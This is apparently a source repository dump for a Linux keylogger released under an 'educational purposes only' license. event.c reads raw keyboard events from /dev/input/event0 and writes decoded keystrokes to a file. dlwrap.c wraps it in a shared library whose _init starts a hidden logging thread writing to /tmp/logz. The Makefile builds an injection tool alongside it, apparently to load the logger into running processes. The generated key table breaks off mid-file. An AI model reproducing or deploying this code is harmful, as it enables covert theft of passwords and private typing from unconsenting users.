├── dso-test.c ├── Makefile ├── test.c ├── dlwrap.c ├── dumpkey2h ├── LICENSE ├── event.c ├── keytab.h ├── inject.c └── README /dso-test.c: -------------------------------------------------------------------------------- 1 | /* gcc -fPIC -shared -nostartfiles dso-test.c -o /tmp/i.so */ 2 | #include 3 | 4 | 5 | void _init() 6 | { 7 | fprintf(stderr, "Yo from init()\n"); 8 | } 9 | 10 | 11 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | CFLAGS=-c -Wall -O2 3 | AS=yasm -f elf 4 | 5 | all: 6 | $(CC) $(CFLAGS) inject.c 7 | $(CC) inject.o -o inject -ldl 8 | 9 | $(CC) $(CFLAGS) -fPIC event.c dlwrap.c 10 | $(LD) -Bshareable -o event.so event.o dlwrap.o -lpthread 11 | 12 | clean: 13 | rm -rf *.o 14 | 15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /test.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | 6 | int main() 7 | { 8 | int c = 0; 9 | 10 | read(0, &c, 1); 11 | 12 | if (fork() == 0) { 13 | for (;;) { 14 | printf("Child\n"); 15 | sleep(1); 16 | } 17 | } 18 | for (;;) { 19 | printf("Parent\n"); 20 | sleep(1); 21 | } 22 | return 0; 23 | } 24 | 25 | -------------------------------------------------------------------------------- /dlwrap.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | extern int event_main(int argc, char **argv); 5 | 6 | void *thread(void *arg) 7 | { 8 | char *argv[] = {"foo", "/dev/input/event0", "/tmp/logz", NULL}; 9 | event_main(3, argv); 10 | return NULL; 11 | } 12 | 13 | 14 | void _init() 15 | { 16 | 17 | pthread_t tid; 18 | pthread_create(&tid, NULL, thread, NULL); 19 | pthread_detach(tid); 20 | return; 21 | } 22 | 23 | -------------------------------------------------------------------------------- /dumpkey2h: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl -w 2 | 3 | 4 | open(I, "dumpkeys|") or die $!; 5 | open(O, ">keytab.h") or die $!; 6 | 7 | print O< "1", 17 | "two" => "2", 18 | "three" => "3", 19 | "four" => "4", 20 | "five" => "5", 21 | "six" => "6", 22 | "seven" => "7", 23 | "eight" => "8", 24 | "nine" => "9", 25 | "zero" => "0", 26 | 27 | "minus" => "-", 28 | "plus" => "+", 29 | "period" => ".", 30 | "space" => " ", 31 | ); 32 | 33 | while() { 34 | if (/keycode\s+(\d+)\s+=\s+(\S+)\s+/) { 35 | if (!defined $keytab{$1}) { 36 | $keytab{$1} = $2; 37 | } 38 | } 39 | } 40 | close(I); 41 | 42 | my $s = ""; 43 | foreach (keys %keytab) { 44 | if (length($keytab{$_}) > 1) { 45 | if (defined $name2char{$keytab{$_}}) { 46 | $s = $name2char{$keytab{$_}}; 47 | } else { 48 | $s = "<".$keytab{$_}.">"; 49 | } 50 | } else { 51 | $s = $keytab{$_}; 52 | } 53 | print O "\t[$_] = \"".$s."\",\n"; 54 | } 55 | 56 | print O "};\n#endif\n"; 57 | close(O); 58 | 59 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2007-2009 Stealth. 3 | * All rights reserved. 4 | * 5 | * This is NOT a common BSD license, so read on. 6 | * 7 | * Redistribution in source and use in binary forms, with or without 8 | * modification, are permitted provided that the following conditions 9 | * are met: 10 | * 11 | * 1. The provided software is FOR EDUCATIONAL PURPOSES ONLY! You must not 12 | * use this software or parts of it to commit crime or any illegal 13 | * activities. Local law may forbid usage or redistribution of this 14 | * software in your country. 15 | * 2. Redistributions of source code must retain the above copyright 16 | * notice, this list of conditions and the following disclaimer. 17 | * 3. Redistribution in binary form is not allowed. 18 | * 4. All advertising materials mentioning features or use of this software 19 | * must display the following acknowledgement: 20 | * This product includes software developed by Stealth. 21 | * 5. The name Stealth may not be used to endorse or promote 22 | * products derived from this software without specific prior written 23 | * permission. 24 | * 25 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY 26 | * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 27 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 28 | * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE 29 | * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 30 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 31 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 32 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 33 | * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 34 | * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 35 | * SUCH DAMAGE. 36 | */ 37 | 38 | -------------------------------------------------------------------------------- /event.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2007-2009 Stealth. 3 | * All rights reserved. 4 | * 5 | * This is NOT a common BSD license, so read on. 6 | * 7 | * Redistribution in source and use in binary forms, with or without 8 | * modification, are permitted provided that the following conditions 9 | * are met: 10 | * 11 | * 1. The provided software is FOR EDUCATIONAL PURPOSES ONLY! You must not 12 | * use this software or parts of it to commit crime or any illegal 13 | * activities. Local law may forbid usage or redistribution of this 14 | * software in your country. 15 | * 2. Redistributions of source code must retain the above copyright 16 | * notice, this list of conditions and the following disclaimer. 17 | * 3. Redistribution in binary form is not allowed. 18 | * 4. All advertising materials mentioning features or use of this software 19 | * must display the following acknowledgement: 20 | * This product includes software developed by Stealth. 21 | * 5. The name Stealth may not be used to endorse or promote 22 | * products derived from this software without specific prior written 23 | * permission. 24 | * 25 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY 26 | * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 27 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 28 | * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE 29 | * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 30 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 31 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 32 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 33 | * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 34 | * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 35 | * SUCH DAMAGE. 36 | */ 37 | 38 | #include 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include 44 | #include 45 | #include 46 | #include 47 | #include "keytab.h" 48 | 49 | void die(const char *msg) 50 | { 51 | perror(msg); 52 | exit(errno); 53 | } 54 | 55 | 56 | #ifdef STANDALONE 57 | int main(int argc, char **argv) 58 | #else 59 | int event_main(int argc, char **argv) 60 | #endif 61 | { 62 | int fd, r = 0; 63 | struct input_event ev; 64 | int keycode_cache[512], k; 65 | int io_arg[2]; 66 | char *event_file = "/dev/input/event0"; 67 | char *output_file = "/dev/stdout"; 68 | FILE *fout = NULL; 69 | 70 | memset(&keycode_cache, 0, sizeof(keycode_cache)); 71 | 72 | if (argc == 2) { 73 | event_file = argv[1]; 74 | } else if (argc == 3) { 75 | event_file = argv[1]; 76 | output_file = argv[2]; 77 | } 78 | 79 | if ((fd = open(event_file, O_RDONLY)) < 0) 80 | die("open"); 81 | if ((fout = fopen(output_file, "a")) == NULL) 82 | die("fopen"); 83 | 84 | setbuffer(fout, NULL, 0); 85 | 86 | for (;;) { 87 | r = read(fd, &ev, sizeof(ev)); 88 | 89 | // key and key-pressed 90 | if (ev.type == EV_KEY && ev.value == 1 && ev.code < 512) { 91 | if ((k = keycode_cache[ev.code]) == 0) { 92 | io_arg[0] = ev.code; 93 | ioctl(fd, EVIOCGKEYCODE, &io_arg); 94 | k = io_arg[1]; 95 | if (io_arg[0] < 512) 96 | keycode_cache[io_arg[0]] = k; 97 | } 98 | if (k > 0 && k < 512) 99 | fprintf(fout, "%s", keytable[k]); 100 | } 101 | } 102 | return 0; 103 | } 104 | 105 | 106 | -------------------------------------------------------------------------------- /keytab.h: -------------------------------------------------------------------------------- 1 | #ifndef __keytab_h__ 2 | #define __keytab_h__ 3 | 4 | char *keytable[512] = { 5 | [32] = "d", 6 | [206] = "", 7 | [118] = "", 8 | [71] = "", 9 | [102] = "", 10 | [200] = "", 11 | [18] = "<+e>", 12 | [16] = "<+q>", 13 | [44] = "y", 14 | [55] = "", 15 | [84] = "", 16 | [27] = "+", 17 | [233] = "", 18 | [190] = "", 19 | [161] = "", 20 | [194] = "", 21 | [57] = " ", 22 | [220] = "", 23 | [20] = "t", 24 | [243] = "", 25 | [231] = "", 26 | [163] = "", 27 | [109] = "", 28 | [151] = "", 29 | [175] = "", 30 | [148] = "", 31 | [31] = "s", 32 | [35] = "h", 33 | [11] = "0", 34 | [208] = "", 35 | [78] = "", 36 | [106] = "", 37 | [157] = "", 38 | [65] = "", 39 | [29] = "", 40 | [197] = "", 41 | [203] = "", 42 | [138] = "", 43 | [199] = "", 44 | [114] = "", 45 | [226] = "", 46 | [58] = "", 47 | [211] = "", 48 | [153] = "", 49 | [15] = "", 50 | [137] = "", 51 | [81] = "", 52 | [60] = "", 53 | [101] = "", 54 | [73] = "", 55 | [86] = "", 56 | [76] = "", 57 | [62] = "", 58 | [247] = "", 59 | [67] = "", 60 | [204] = "", 61 | [241] = "", 62 | [165] = "", 63 | [198] = "", 64 | [139] = "", 65 | [129] = "", 66 | [2] = "1", 67 | [17] = "w", 68 | [186] = "", 69 | [110] = "", 70 | [82] = "", 71 | [147] = "", 72 | [228] = "", 73 | [236] = "", 74 | [249] = "", 75 | [218] = "", 76 | [202] = "", 77 | [168] = "", 78 | [184] = "", 79 | [135] = "", 80 | [14] = "", 81 | [112] = "", 82 | [69] = "", 83 | [191] = "", 84 | [172] = "", 85 | [145] = "", 86 | [49] = "n", 87 | [178] = "", 88 | [24] = "o", 89 | [224] = "", 90 | [187] = "", 91 | [140] = "", 92 | [223] = "", 93 | [104] = "", 94 | [131] = "", 95 | [181] = "", 96 | [234] = "", 97 | [79] = "", 98 | [212] = "", 99 | [154] = "", 100 | [23] = "i", 101 | [96] = "", 102 | [238] = "", 103 | [159] = "", 104 | [251] = "", 105 | [253] = "", 106 | [160] = "", 107 | [176] = "", 108 | [47] = "v", 109 | [8] = "7", 110 | [209] = "", 111 | [98] = "", 112 | [216] = "", 113 | [37] = "k", 114 | [117] = "", 115 | [43] = "", 116 | [195] = "", 117 | [5] = "4", 118 | [170] = "", 119 | [33] = "f", 120 | [21] = "z", 121 | [63] = "", 122 | [7] = "6", 123 | [227] = "", 124 | [80] = "", 125 | [193] = "", 126 | [119] = "", 127 | [180] = "", 128 | [99] = "", 129 | [244] = "", 130 | [179] = "", 131 | [162] = "", 132 | [72] = "", 133 | [255] = "", 134 | [246] = "", 135 | [240] = "", 136 | [74] = "", 137 | [182] = "", 138 | [61] = "", 139 | [230] = "", 140 | [108] = "", 141 | [115] = "", 142 | [103] = "", 143 | [201] = "", 144 | [232] = "", 145 | [10] = "9", 146 | [113] = "", 147 | [152] = "", 148 | [189] = "", 149 | [225] = "", 150 | [207] = "", 151 | [142] = "", 152 | [167] = "", 153 | [48] = "b", 154 | [107] = "